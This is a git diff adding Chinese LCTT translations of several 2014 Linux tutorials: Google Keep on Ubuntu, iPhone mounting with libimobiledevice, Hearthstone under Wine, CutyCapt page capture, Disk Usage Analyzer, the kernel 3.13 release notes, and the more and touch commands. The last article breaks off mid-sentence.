+译者:[geekpi](https://github.com/geekpi) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201403/How To Install Google Keep In Ubuntu 13.10 [Quick Tip].md b/published/201403/How To Install Google Keep In Ubuntu 13.10 [Quick Tip].md new file mode 100644 index 0000000000..68b9ae3ce7 --- /dev/null +++ b/published/201403/How To Install Google Keep In Ubuntu 13.10 [Quick Tip].md @@ -0,0 +1,56 @@ +快速技巧——如何在 Ubuntu 13.10 上安装 Google Keep +================================================================================ + +![](http://itsfoss.com/wp-content/uploads/2014/02/Google-keep-logo.jpg) + +最近,Google Keep 已经成为我在 Android 最喜欢用的笔记应用。而在 Ubuntu 的工作中, 我同样想做一些快速笔记。既然 Google Keep 可以在设备间同步, 这样 **在 Ubuntu 上安装 Google Keep** 也有用了。在这个快速技巧中,我会向你展示如何在 Ubuntu 13.10 或者其它 Linux 发行版上安装 Google Keep。 + +如果你是一个 Google Chrome 用户,你可能知道 Google 的“桌面应用”。可以在 Chrome 在线商店的**桌面**分类中找到很多应用。不像运行在浏览器的常规 Chrome 应用,这些“桌面应用”独立运行,就像桌面应用那样。我们会看见如何将这个新的特性以原生 Ubuntu 应用形式安装 chrome 应用。 + +### 在 Ubuntu 13.10 上安装 Google Keep: ### + +尽管我在这里用 Google Keep 为例子,你可以使用相同的流程来安装其它应用,像[Any.do][1]或者[Pocket][2](从上述的桌面分类中找到)。当然,**你必须在你的系统中安装了 Chrome 浏览器**。它或许无法工作在 Chromium 浏览器中。 + +### 步骤 1: ### + +新建一个 Chrome 标签页。进入 Chrome 在线商店并安装 Google Keep。 + +### 步骤 2: ### + +在新的标签页中,**右击** Google Keep 图标并选择 **创建快捷方式**。 + +![](http://itsfoss.com/wp-content/uploads/2014/02/Install_Google_keep_Ubuntu.jpeg) + +### 步骤 3: ### + +选择桌面和应用菜单。 + +![](http://itsfoss.com/wp-content/uploads/2014/02/Install_Google_Keep_Ubuntu_2.png) + +就是这样,实际上很简单。你现在可以在 Unity Dash 中找到 Google Keep 并锁定到 launcher。即使你没有运行 Chrome,你也可以像其它的 Ubuntu 程序那样简单地运行 Google Keep。 + +![](http://itsfoss.com/wp-content/uploads/2014/02/Install_Google_keep_Ubuntu_3.jpeg) + +很酷,不是么?Google 也正在计划移植 Google App Launcher 到 Linux 中。很快我们就可以使用 Google Now 桌面应用了,目前只能运用于Chrome的dev channel上。 + +想象一下这些,我在想为什么 Google 还没有为 Linux 开发远程 Google Drive 客户端。当然这里有一些第三方程序,像[ SyncDrive 用来同步 Google Drive,就像 Ubuntu 中的 Dropbox 那样][3],但是如果有一款官方程序就更好了。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/install-google-keep-ubuntu-1310/ + +译者:[geekpi](https://github.com/译者ID) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.any.do/ +[2]:http://getpocket.com/ +[3]:http://itsfoss.com/sync-multiple-google-drive-dropbox-syncdrive-ubuntu/ +[4]: +[5]: +[6]: +[7]: +[8]: +[9]: +[10]: +[11]: diff --git a/published/201403/How To Mount iPhone Or iPad With iOS 7 In Ubuntu 13.10.md b/published/201403/How To Mount iPhone Or iPad With iOS 7 In Ubuntu 13.10.md new file mode 100644 index 0000000000..7374328a8c --- /dev/null +++ b/published/201403/How To Mount iPhone Or iPad With iOS 7 In Ubuntu 13.10.md @@ -0,0 +1,66 @@ +在Ubuntu 上怎么连接装有iOS 7的iPhone或iPad +================================================================================ +在几个月前我买了一个安装了iOS 7系统的iPhone 5手机。当我试着把iPhone或者iPad连接到Linux电脑(Ubuntu和Linux Mint)上时,它能够被识别,会提示我:“是否信任这台电脑”? + +![](http://itsfoss.com/wp-content/uploads/2014/01/ios7-trust_this_computer1.jpeg) + +然后我心中默念“我会的”,选择了“信任”,在等待了几秒后,它又重新提示我“是否信任这台电脑”?我继续点了“信任”。然后又提示同样的问题。我感觉我的手机陷入了一个while(true)的死循环。在Ubuntu而在我的Ubuntu电脑上,它只是提示我的iPhone被锁定了,所以我不能访问上面的文件。 + +![](http://itsfoss.com/wp-content/uploads/2014/02/iPhone_issue_with_Ubuntu.png) + +在网络上搜索了一会,我才知道这个**iOS 7在Linux系统上是否信任这台电脑的死循环**是一个已知的[问题][1]。 + +这实际上是[iOS 7系统的一个新安全特性][2],针对解决假冒的iPhone充电器问题。既然这样,那这篇文章在说什么?有没有办法**解决iOS 7在Linux系统中的“信任这台电脑”的问题**?[libimobiledevice][1]库希望在1.1.6版本中去解决这个问题,只不过稳定版本却一直遥遥无期。 +不过别灰心,你仍然可以使用libimobiledevice的非稳定版本,然后轻松地连接你的iPhone和Ubuntu。让我来告诉你,怎么把iPhone手机连接到Ubuntu 13.10或者Linux Mint 16上,而不会有“信任这台电脑”的麻烦。 + +### 在Ubuntu 12.04上解决iOS 7的“信任这台电脑”问题: ### + +如果你安装的是Ubuntu 12.04 LTS(32位或64位)或者Linux Mint 13 Maya,你可以添加下面[Ingo Haschler][4]的PPA源: + + sudo apt-add-repository ppa:ingo/ios7support + sudo apt-get update + sudo apt-get upgrade + +之后,libimobiledevice库(已经安装过)会升级到不稳定的1.6版本,然后重启你的电脑,再重新连接iPhone。现在,它应该可以正常使用了。 + +#### 说明: #### + +如果你碰到“锁定错误”,那么再试试下面的命令: + + sudo mkdir /var/lib/lockdown + sudo chmod 777 /va7Lib/lockdown + +### 在Ubuntu 13.10上解决iOS 7的“信任这台电脑”问题: ### + +对于资深的Linux用户,你可以从[GitHub][5]上下载源码然后自己编译。对于使用**Ubuntu 13.10 64位**和**Linux Mint 16 64位**系统的用户,有个[Iuri Diniz][6]编译好的Debian包可以用,你可以下载安装这个.deb包,然后就可以很轻松地在Ubuntu 13.10 64位系统上看到你的iPhone了。 + +- [Ubuntu 13.10 & Linux Mint 16 64位系统可用的libimobiledevice 1.6][7] + +双击下载后的.deb文件进行安装。提醒一下,因为Ubuntu和Linux Mint默认已经安装了这个库,所以你看到的会是升级库libimobiledevice,而不是安装它。 + +![](http://itsfoss.com/wp-content/uploads/2014/02/install_libimobiledevice_Ubuntu.jpeg) + +在装好后,你的iPhone或者iPad应该可以正常连接电脑了。下面是一张我把我的iPhone连接到一台Ubuntu 13.10电脑上的截图。 + +![](http://itsfoss.com/wp-content/uploads/2014/02/iPhone_Ubuntu_Linux.jpeg) + +我可以访问手机上的文件,还可以从Ubuntu传送文件到iPhone。它还会被Rythembox软件认到并开始同步歌曲。这不是第一次,我在把移动设备接到Ubuntu上碰到问题。上次,我写过[怎么连接Kindle Fire HD和Ubuntu][8]。 + +我希望这个快速教程也可以解决你可能碰到的“信任这台电脑”的死循环问题。如果这个方法管用,或者你仍然还是不能把你的饿iPhone连接到Ubuntu上,都可以联系我。Ciao ![](http://itsfoss.com/wp-includes/images/smilies/icon_smile.gif) + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/mount-iphone-ipad-ios-7-ubuntu-13-10/ + +译者:[zpl1025](https://github.com/zpl1025) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1207812 +[2]:http://www.macobserver.com/tmo/article/apple-fixes-threat-from-fake-iphone-chargers-in-ios-7 +[3]:http://www.libimobiledevice.org/ +[4]:https://launchpad.net/~ingo +[5]:https://github.com/libimobiledevice/libimobiledevice +[6]:https://launchpad.net/~iuridiniz +[7]:https://bugs.launchpad.net/ubuntu/+source/libimobiledevice/+bug/1207812/+attachment/3941542/+files/libimobiledevice4_1.1.6-git20140105_amd64.deb +[8]:http://itsfoss.com/how-to-connect-kindle-fire-hd-with-ubuntu-12-10/ diff --git a/published/201403/How to Play Blizzard's Hearthstone--Heroes of Warcraft on Linux.md b/published/201403/How to Play Blizzard's Hearthstone--Heroes of Warcraft on Linux.md new file mode 100644 index 0000000000..1f9c4ff95a --- /dev/null +++ b/published/201403/How to Play Blizzard's Hearthstone--Heroes of Warcraft on Linux.md @@ -0,0 +1,60 @@ +在Linux系统下玩《炉石传说:魔兽英雄传》 +================================================================================ +![](http://i1-news.softpedia-static.com/images/news2/How-to-Play-Blizzard-s-Hearthstone-Heroes-of-Warcraft-on-Linux-424410-3.jpg) + +**《炉石传说:魔兽英雄传》是暴雪娱乐开发的一款免费的集换式卡牌游戏。花点工夫,你也可以在Linux上玩这个游戏。** + +像Windows平台的大多数游戏一样,《炉石传说:魔兽英雄传》也可以在Wine的帮助下在Linux上运行(Wine Is Not an Emulator)。不过只是安装一下还不够,你得稍微调整一下才行。 + +非常感谢[迈克尔 华盛顿][1](Google+上Gaming On Linux社区的版主)和[迈克尔 斯佩斯][2](winehq.org的维护者),他们整理汇总了所有需要的指令,现在玩炉石传说只是输入几个命令就好了。 + +首先,你得先把客户端从暴雪的网站下载下来。它是一个免费游戏,目前还处在beta测试阶段,所有人都可以下载。 + +然后,你得安装wine的最新开发版本。如果你在用Ubuntu(这份指引最适合Ubuntu),你可以从官方PPA源安装。只需要在终端下输入下面的命令: + + sudo add-apt-repository ppa:ubuntu-wine/ppa + sudo apt-get update + sudo apt-get install wine1.7 + sudo apt-get install wine1.7-i386 + +在网站appdb.winhq.org上可以找到让它运行的所有信息。之后你得编辑几个库的一些属性。 + +### dbghelp ### + +- 运行winecfg +- 选择Libraries标签,在New override for library框中输入dbghelp +- 点击Add,然后在提示框里选择Yes +- 在Existing overrides列表中点击dbghelp +- 点击Edit +- 设置成Disabled +- 点击Ok,搞定 + +### msvcp100 ### + +- 运行winecfg +- 选择Libraries标签, 在New override for library框中输入msvcp100 +- 点击Add, 然后在提示框中选择Yes +- 在Existing overrides列表中点击msvcp100 +- 点击Edit +- 设置成native,embedded +- 点击Ok,搞定 + +你还需要在终端里运行下面的命令,并等待运行结束。 + + winetricks wininet + +之后你所需要做的就是双击从暴雪下载下来的exe文件,就可以开始玩了。 + +[Follow @thesilviu][3] + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/How-to-Play-Blizzard-s-Hearthstone-Heroes-of-Warcraft-on-Linux-424410.shtml + +译者:[zpl1025](https://github.com/zpl1025) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://plus.google.com/u/0/106295000788676760101/posts/aYfwYEoThJw?cfem=1 +[2]:http://appdb.winehq.org/objectManager.php?bShowAll=true&bIsQueue=false&bIsRejected=false&sClass=version&sTitle=&sReturnTo=&iId=29747 +[3]:https://twitter.com/thesilviu diff --git a/published/201403/How to convert an HTML web page to PNG image on Linux.md b/published/201403/How to convert an HTML web page to PNG image on Linux.md new file mode 100644 index 0000000000..9ab3511839 --- /dev/null +++ b/published/201403/How to convert an HTML web page to PNG image on Linux.md @@ -0,0 +1,84 @@ +如何在Linux上将HTML页面转化成png图片 +================================================================================ +将一个特定页面抓取为一张png图片的最简单的方法是使用[CutyCapt][1],这是一种在Linux下的方便地将HTML网页转化成矢量图形和位图图像格式的命令行工具(比如,SVG, PDF, PS, PNG, JPEG, TIFF, GIF)。CutyCapt内部使用WebKit渲染引擎来导出网页渲染输出到图片文件中。它使用Qt构建,CutyCapt实际上是一个也可以在Windows上使用的跨平台应用。 + +在本篇教程中,我会描述如何**将一个HTML网页使用CutyCapt转化成png图片**。 + +### 在Linux上安装 CutyCapt### + +这是在特定Linux发行版上的安装命令。 + +####在Debian, Ubuntu 或者 Linux Mint 安装 CutyCapt + + $ sudo apt-get install cutycapt + +####在Fedora上安装 CutyCapt + + $ sudo yum install subversion qt-devel qtwebkit-devel gcc-c++ make + $ svn co svn://svn.code.sf.net/p/cutycapt/code/ cutycapt + $ cd cutycapt/CutyCapt + +在Fedora上编译前,你需要在源码上[打上补丁][2]。 + +使用文本编辑器打开CutyCapt.hpp,并且加入在文件的开头加上下面的两行。 + + #include + #include + +最后,如下编译并安装CutyCapt。 + + $ qmake-qt4 + $ make + $ sudo cp CutyCapt /usr/local/bin/cutycapt + +#### 在CentOS 或者 RHEL安装 CutyCapt + +首先在你的Linux上[启用EPEL仓库][3]。接着和在Fedora上一样使用相同的步骤编译安装。 + +### 使用CutyCapt将 HTML 转化成 PNG ### + +将一个HTML页面截图成一个png图片,只要使用下面的格式运行CutyCapt。 + + $ cutycapt --url=http://www.cnn.com --out=cnn.png + +要将HTML页面保存成不同的格式(比如,PDF),只要适当地指定输出文件。 + + $ cutycapt --url=http://www.cnn.com --out=cnn.pdf + +下图显示了CutyCapt命令选项。 + +![](http://farm3.staticflickr.com/2811/12542271814_3c2563d405_z.jpg) + +### 在一台不含X的服务器上使用CutyCapt将HTML转换成PNG ### + +虽然CutyCapt是一个命令行工具,但是它需要X服务运行。如果你尝试在不含X服务的机器上运行,你会得到下面这个错误: + + cutycapt: cannot connect to X server :0 + +如果你要不含X的服务器上运行CutyCapt,你可以在服务器上安装Xvfb(轻量级“假的”X11 服务)。这样CutyCapt就不会报错了。 + +要在Debian, Ubuntu 或者 Linux Mint 上安装Xvfb: + + $ sudo apt-get install xvfb + +要在Fedora, CentOS 或者 RHEL 上安装Xvfb: + + $ sudo yum install xvfb + +在安装Xvfb之后,接下来像这样运行CutyCapt。 + + $ xvfb-run --server-args="-screen 0, 1280x1200x24" cutycapt --url=http://www.cnn.com --out=cnn.png + +它首先会运行Xbfb服务,接着使用CutyCapt来抓取网页。因此它可能会花费更长的时间。如果你想要截图多张截图,你可能事先需要将Xvfb作为后台守护进程启动。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/02/convert-html-web-page-png-image-linux.html + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://cutycapt.sourceforge.net/ +[2]:https://github.com/hoehrmann/CutyCapt/issues/3 +[3]:http://xmodulo.com/2013/03/how-to-set-up-epel-repository-on-centos.html diff --git a/published/201403/How to visually observe the partitions' usage with Ubuntu 13.10's Disk Usage Analyzer.md b/published/201403/How to visually observe the partitions' usage with Ubuntu 13.10's Disk Usage Analyzer.md new file mode 100644 index 0000000000..9d365c1334 --- /dev/null +++ b/published/201403/How to visually observe the partitions' usage with Ubuntu 13.10's Disk Usage Analyzer.md @@ -0,0 +1,22 @@ +如何使用Ubuntu 13.10的磁盘分析器可视化观察分区使用率 +================================================================================ +电影、书籍、音轨这些内容类型常充斥于用户硬盘中,这方面会常常带来不同问题,例如空间缺乏并不清楚它的主要原因。 + +Ubuntu 13.10 默认自带磁盘分析器,一个允许用户快速并有效地通过简单的图形视图来查看占据磁盘的文件和文件夹的工具。 + +运行磁盘分析器,给用户展示的是硬盘分区的标签名,大小和可用大小,单击一个条目,打开这个条目会进入专门的界面,这里是已扫描的分区和它的项目。 + +因此,用户可以通过侧边栏(基于文本)和右侧观察项目和它们的大小,后者担任了清晰展示已打开分区的作用;将鼠标停留在视图上会展示它的大小和含有的项目。 + +![](http://iloveubuntu.net/pictures_me/Disk%20Usage%20Analyzer%20ubuntu%2013.10.png) + +因此,磁盘使用分析器允许用户找出目前为被忽视的有潜在错误的文件夹,例如,用户可以立即发现显著占据分区的一个大尺寸的块(块越大代表其文件大小越大),但是,从文件名上你很难感觉到它的大小。 + + +-------------------------------------------------------------------------------- + +via: http://iloveubuntu.net/how-visually-observe-partitions-usage-ubuntu-1310s-disk-usage-analyzer + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/201403/Linus Torvalds Announces Kernel 3.13, opens Linux 3.14 Merge Window.md b/published/201403/Linus Torvalds Announces Kernel 3.13, opens Linux 3.14 Merge Window.md new file mode 100644 index 0000000000..7f73324438 --- /dev/null +++ b/published/201403/Linus Torvalds Announces Kernel 3.13, opens Linux 3.14 Merge Window.md @@ -0,0 +1,77 @@ +Linus Torvalds发布内核3.13,并开放Linux3.14的合并窗口 +============================================================================== +Linux内核3.13已经发布了。但是需要注意的是发布的最终版本除了一些小修复和来自rc8的针对ARM,PowerPC,x86,SPARC的结构更新以及对GPU和网卡的驱动更新外,并没有带来什么新的特性。 + +![](http://www.efytimes.com/admin/useradmin/photo/Z82K112446AM1212014.jpeg) + +重要的更新包括: +- nftables —— iptables的继承者 +- 针对高性能SSD的块层(block layer)的翻新 +- 一个功耗上限(power capping)的框架来限制在Intel RAPL(Running Average Power Limit)设备中的功耗 +- 优化的squashfs性能 +- 默认开启AMD Radeon的电源管理和AMD Radeon GPU的自动切换 +- 优化NUMA和hugepage的性能 +- 默认开启TCP Fast Open(TFO) +- 支持NFC支付 +- 支持High-availability Seamless Redundancy(HSR)协议 +- 新驱动以及各种小改进。 + +###为高性能SSD储存设计的可伸缩块层(block layer)### + +这次更新包括了Linux块层(block layer)的新设计,基于两个阶段的队列:第一层是为了提交IO的每个CPU中的队列,在这之后是在硬件层面的提交队列。实验表明这种双层面队列的设计可以实现每秒数百万的IO交换,压榨出了NVM-Express或PCI-E设备在多核CPU支持下的性能,在压榨性能的同时,这种设计仍能够提供块层的大众接口以及一些方便的特性。 + +###nftables,iptables的继承者### + +有一些新的iptable以及新的iptable工具可以将iptables的规则转换为nftables的字节码,而且添加新的xtable模块也是可能的。当然这些工具还提供了一些不被老的iptables设计所支持的附加的功能:对tables/chains中的改变的提示,更好的递增规则更新支持,还有开启/禁用每个table中的chains这个功能。新的nft工具有优化过的语法。 + +###Radeon:默认开启的电源管理功能,自动GPU切换,R9 290X Hawaii显卡的支持### + +电源管理提供了更优的电源消耗计划,这对一些通过电池提供电能的设备来说十分重要。而且因为电源管理提供了为GPU以及APU超频的自由,这成为了提供高端性能的要求之一。 + +###限能框架### + +本次发布包含了针对Intel RAPL(Running Average Power Limit)设计的框架,这使在支持这个功能的设备上限制功耗成为可能。 + +###对Intel MIC(Many Integrated Core Architecture)实现支持### + +本次更新增加了对Intel MIC的支持,一个多处理器计算机架构,包含了之前的Larrabee多核技术,Teraflops Research Chip多核芯片研究项目还有Intel Single-chip Cloud Computer多核微处理器的成果。 + +###优化性能的NUMA系统### + +本次更新包含了很多策略可以将处理过程移至其占用内存旁,从而加快处理速度,这些新的策略也可以处理同一分页被不同进程占用以及巨大透明内存分页等情况。新的sysctls命令可以实现NUMA功能的开启/禁用以及调节。 + +###优化在巨大工作量下的内存分页表的伸缩性### + +本次更新使用细粒度锁(finer grained locking)来优化在线程化的巨大分页工作中获取分页表的可伸缩性。看推荐的LWN文章来获取更多信息。 + +###提升Squashfs的性能### + +Squashfs,被大量live发行版、安装包以及一些嵌入式Linux发行版采用的只读文件系统,有了一个重要的优化使得它在同步读取的工作中有了巨大的性能提升。 + +###应用可以限制网络传输层的运算速率### + +本次更新加入了新的套接字选项,SO_MAX_PACING_RATE,这可以为应用提供限制传输层运算速率的能力。这项功能被设计为一种bufferbloat机制来避免缓存区域被数据包塞满,它也可以被用来限制应用中的传输率。 + +###默认开启TCP Fast Open(TFO)### + +对建立TCP连接的优化可以消除特定TCP对话的网络传输往返时间,这可以加速wab页面的显示速度。 + +###NFC支付支持### + +本次更新实现了对Secure Element的支持。一个网络连接的API可以实现开启,禁用和搜索NFC连接的安全元件(secure element)。通过一些用户空间的帮助,这可以实现NFC用来现金交易的支付。 + +###支持High-availability Seamless Redundancy协议### + +这个功能对所有需要高可用性以及短反应时间的应用都十分适合。 + +引用自 [http://kernelnewbies.org/Linux_3.13][1] + +------------------------------------------------------------------------------------ + +via: http://www.efytimes.com/e1/fullnews.asp?edid=127445 + +译者:[ThomazL](https://github.com/ThomazL) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://kernelnewbies.org/Linux_3.13 diff --git a/published/201403/Linux more Command - Display Long Text File Per page at a Time.md b/published/201403/Linux more Command - Display Long Text File Per page at a Time.md new file mode 100644 index 0000000000..d77e7cb8de --- /dev/null +++ b/published/201403/Linux more Command - Display Long Text File Per page at a Time.md @@ -0,0 +1,120 @@ +Linux中的more命令-逐页显示长文本文件 +================================================================================ +如果你已经习惯了在Linux系统上工作,那你一定会发现在Linux世界中存在着大量的文本文件。配置文件和日志文件通常都采用文本格式。这些文件通常都有很长的内容,不能在一屏内全部显示。所以在处理这种文件时,我们需要分页显示。这时我们可以用上**more**命令。 + +### more是干嘛的 ### + +more是一个用来分页显示大文本文件的命令,它默认是内置在各个Linux发行版中的。 + +### 怎么用more ### + +使用more命令,只需要键入: + + $ more file_name + +比如,我们想检查/var/log目录下的日志文件syslog,只需要键入: + + $ more /var/log/syslog + +![more命令](http://linoxide.com/wp-content/uploads/2014/01/more.png) + +然后我们可以看到**在屏幕左下角有个提示**,告诉我们当前的显示比例为0%。看上去这个文件相当大,所以第一页是全部页数的0%。使用空格键可以往下翻页,然后就可以看到提示的百分比会增加。 + +![Scroll page](http://linoxide.com/wp-content/uploads/2014/01/more_2.png) + +### 限制每页显示的行数 ### + +在执行more命令的时候,它会占用你终端窗口的全部空间用于显示。但是你可以通过参数**-数字**来限制每页显示的行数。 + +例如,你希望每页**限制显示12行**,可以通过下面的命令: + + $ more -12 /var/log/syslog + +![限制每页显示12行](http://linoxide.com/wp-content/uploads/2014/01/more_12.png) + +现在,你会看到每页只显示12行,在按下空格键后,就会翻页显示后面的12行。 + +### Display user message ### + +我们知道,more命令会在显示区域的左下角提示当前内容所占的百分比。对于第一次使用more命令的人来说,他或她可能会想知道怎么才能往下翻页。为了避免这种情况,我们可以在执行时增加**-d**参数,这样就会额外显示一行用户信息“[**按空格键继续,‘q‘推出.**]” + +![More with -d option](http://linoxide.com/wp-content/uploads/2014/01/more_d1.png) + +如果用户按了**‘空格‘或’q‘**之外的按键,more会显示一行帮助信息**“ [按‘h’键查看提示。]”** + +![More displaying help message](http://linoxide.com/wp-content/uploads/2014/01/more_d2.png) + +如果按下h键,会显示一个帮助信息: + +![Display help](http://linoxide.com/wp-content/uploads/2014/01/more_dh.png) + +一个有意思的指令是**b**按钮,**b按钮允许你**退回到前面的页面。换句话说,b按钮可以允许**向前翻页**。 + +你可以通过左上角的**...前1页**信息来确认当前显示的是前面的页面。 + +![在more中往前翻页](http://linoxide.com/wp-content/uploads/2014/01/more_back.png) + +### 禁止滚动 ### + +通过参数**-c**,more命令不会滚动页面,而是直接清除之前的内容,替换为下一页的内容。 +With **-c** option, more will not scroll the page. It will clear the previous page and put the next page or lines there. + + $ more -10 -c lynis.log + +![Suppress scroll](http://linoxide.com/wp-content/uploads/2014/01/more_c.png) + +如果按下空格键,下一页会仍然有相同的大小。 + +![Suppress scroll](http://linoxide.com/wp-content/uploads/2014/01/more_c2.png) + +### 忽略多余的空白行 ### + +使用参数**-s**来忽略多余的空白行,下面是个例子: + +![多个空白行的文件](http://linoxide.com/wp-content/uploads/2014/01/more_s.png) + +当我们增加参数**-s**后: + + $ more -s doc_30.txt + +![忽略了多余空白行](http://linoxide.com/wp-content/uploads/2014/01/more_s2.png) + +### 查找字符串 ### + +如果你的日志文件非常大,那么在其中查找你想要的字符串并不是那么容易。more命令的查找功能可以帮你,通过参数**+/string**可以用来搜索字符串,找到的关键字会显示在第一行。比如我们要在**/var/logs/syslog**文件中搜索“**dhclient**”,那more命令的格式: + + $ more +/dhclient /var/log/syslog + +![查找字符串](http://linoxide.com/wp-content/uploads/2014/01/more_string.png) + +然后,如果要在文件中继续搜索下一个,只需要按下**/按钮**,后面跟有关键字dhclient。 + +### 从指定行开始显示 ### + +你也可以通过参数**+数字**来指定开始显示的行,例如,我们有一个15行的文件: + +![多行文件](http://linoxide.com/wp-content/uploads/2014/01/more_num1.png) + +然后我们想从第5行开始显示这个文件的内容,命令看起来会是这个样子: + + $ more +5 doc_30.txt + +![从指定行开始显示](http://linoxide.com/wp-content/uploads/2014/01/more_num2.png) + +### 可以显示二进制文件吗? ### + +**答案是不行**. more命令会提示这样的信息,例如: + +![显示二进制文件](http://linoxide.com/wp-content/uploads/2014/01/more_binary.png) + +### 结论 ### + +more是一个用来查看文本文件的基础工具,它不能用来显示二进制文件。通常,我们可以通过命令**man more**或者**more --help**来获取更多关于more怎么使用的信息。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-more-command/ + +译者:[zpl1025](https://github.com/zpl1025) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201403/Linux touch command - Why do we need to change Timestamp.md b/published/201403/Linux touch command - Why do we need to change Timestamp.md new file mode 100644 index 0000000000..328c092a29 --- /dev/null +++ b/published/201403/Linux touch command - Why do we need to change Timestamp.md @@ -0,0 +1,164 @@ +Linux touch 命令 - 为什么我们需要改变时间戳? +================================================================================ +我们可能在 Linux 下运用 touch 命令创建一个空文件。当然我们也可以使用其他命令例如 vi, nano 或是任意一个编辑工具来实现。但是你可能需要更多的步骤来完成操作。其实你要知道 touch 命令的主要功能并不是为了创建一个空文件哦。 + +### 什么是 touch 命令 ### + +众所周知,每个文件都被附有时间戳。这个时间戳记包括访问时间和修改时间。而 Touch 命令主要就是用来修改文件的访问时间和修改时间。 + +### 为什么我们需要使用 touch 命令 ### + +既然 touch 命令描述的是改变时间戳,那么我们可能会想为什么我们需要去改变时间戳呢?这个问题会引发我们的深思。然而,我想有个理由可以解释为什么我们需要使用它。如果你参加了一个全球范围的开源项目,那么时间戳可能变得很重要。编译源代码文件可能需要同一地区的时间戳。如果未统一,程序可能会编译失败。(译注:有强迫症的同学也很喜欢这个命令——就看不得乱七八糟的时间,;>) + +### 不带任何选项下运行 touch ### + +最简单的使用 touch 命令。只需键入: + + $ touch file_name + +请观察下面的一张截图。 + +![Touch command](http://linoxide.com/wp-content/uploads/2014/01/touch.png) + +**File_1.txt**原来的时间戳是 12:42。在我们使用 touch 命令后,它改变为了 17:08。由此看出,默认情况下,touch 会将文件的时间戳改为当前时间。 + +### 只改变访问时间 ### + +正如我们之前提到的,每个文件都附有访问时间和修改时间。上面的时间戳是 17:08。我们可以看更多的细节。 + +![Detail timestamp](http://linoxide.com/wp-content/uploads/2014/01/touch_stat.png) + +我们发现**访问**时间和**修改**时间的值是相同的都是 17:08:35 ,还有它们属于同一时区 GMT +7。 + +如果现在我们要只改变访问时间,我们需要使用**-a**选项。 + + $ touch -a file_1.txt + +![Touch -a option](http://linoxide.com/wp-content/uploads/2014/01/touch_a.png) + +如你所见,**访问时间变为**了 17:51:37 ,但是**修改时间仍为**17:08:35。[译注:原文为 Change time(状态改变时间)应是作者笔误] + +### 只改变修改时间 ### + +我们可以使用**-m**选项来实现。现在我们用**file_2.txt**作个示例。 + +![File_2.txt detail timestamp](http://linoxide.com/wp-content/uploads/2014/01/touch_stat_file_2.png) + + $ touch -m file_2.txt + +![Touch -m option](http://linoxide.com/wp-content/uploads/2014/01/touch_m.png) + +现在**修改时间从 12:42:20 改为了 17:57:20。请注意**,当文件被访问或修改时,状态改变时间域的值总会对其记录。 + +### 更改为自定义时间戳 ### + +**-a**和**-m**选项都会将文件的时间戳改为现在当前时间。当然我们也可以更改为自定义时间戳。使用**-t**选项实现。 + +从上面示例示例中的 file_2.txt,我们看出它的时间戳是: + + 访问时间:12:42:20 + 修改时间:17:57:20 + 执行日期:2014-01-14 + +假如我们想要将**访问时间和修改时间**改为**2014年1月12日 09:58:27**。我们可以用下列命令来完成: + + $ touch -t 201401120958.27 file_2.txt + +![Touch using -t option](http://linoxide.com/wp-content/uploads/2014/01/touch_t.png) + +**-t** 选项语法组成 : + +#### [[CC]YY]MMDDhhmm [.SS] #### + + CC - 年份的前两位 + YY - 年份的后两位 + MM - 月份 [01-12] + DD - 日期 [01-31] + hh - 时 [00-23] + mm - 分 [00-59] + SS - 秒 [00-61] + +### 改变日期和时间的另一种方式 ### + +如果你觉得**[[CC]YY]MMDDhhmm [.SS]**格式不适合你,我们也可以使用 -d 选项。下面是**-d**选项使用的一个示例。 + +#### 更改指定日期 #### + +举例来说,我们有个名为 file_3.txt 的文件,它的相关属性在下面的截图中展示了。 + +![File_3.txt detail timestamp](http://linoxide.com/wp-content/uploads/2014/01/stat_file_3.png) + +现在**我们要将日期2014年1月14日改为2013年12月20日**。可以使用下列命令: + + $ touch -d '10-December-2013' file_3.txt + +![Change date using -d option](http://linoxide.com/wp-content/uploads/2014/01/touch_d_date.png) + +不出意料,访问时间和修改时间的日期已经改为了2013年12月10日。 + +### 改变时区 ### + +如果我们想改变指定GMT的时间,我们也可以使用**-d**选项。先让file_3.txt 移回当前时间。 + + $ touch file_3.txt + +![Reset file_3.txt timestamp](http://linoxide.com/wp-content/uploads/2014/01/touch_return_file_3.png) + +不难发现 file_3.txt 的时区为 GMT +0700。要改为 GMT3 时区,我们只需要键入如下命令: + + $ touch -d GMT3 file_3.txt + +![Change into GMT3 timezone](http://linoxide.com/wp-content/uploads/2014/01/touch_gmt3.png) + +好的,现在时间已经改为了 10:00:00 AM。 + +### 结合参数下使用-d选项 ### + +还可以用很酷的方式使用**-d**选项。请观察下面的图片。 + +![Change date using keyword](http://linoxide.com/wp-content/uploads/2014/01/touch_next_sunday.png) + +我们可以将单词 **next Sunday** 和 GMT 3合成一个值,而 touch 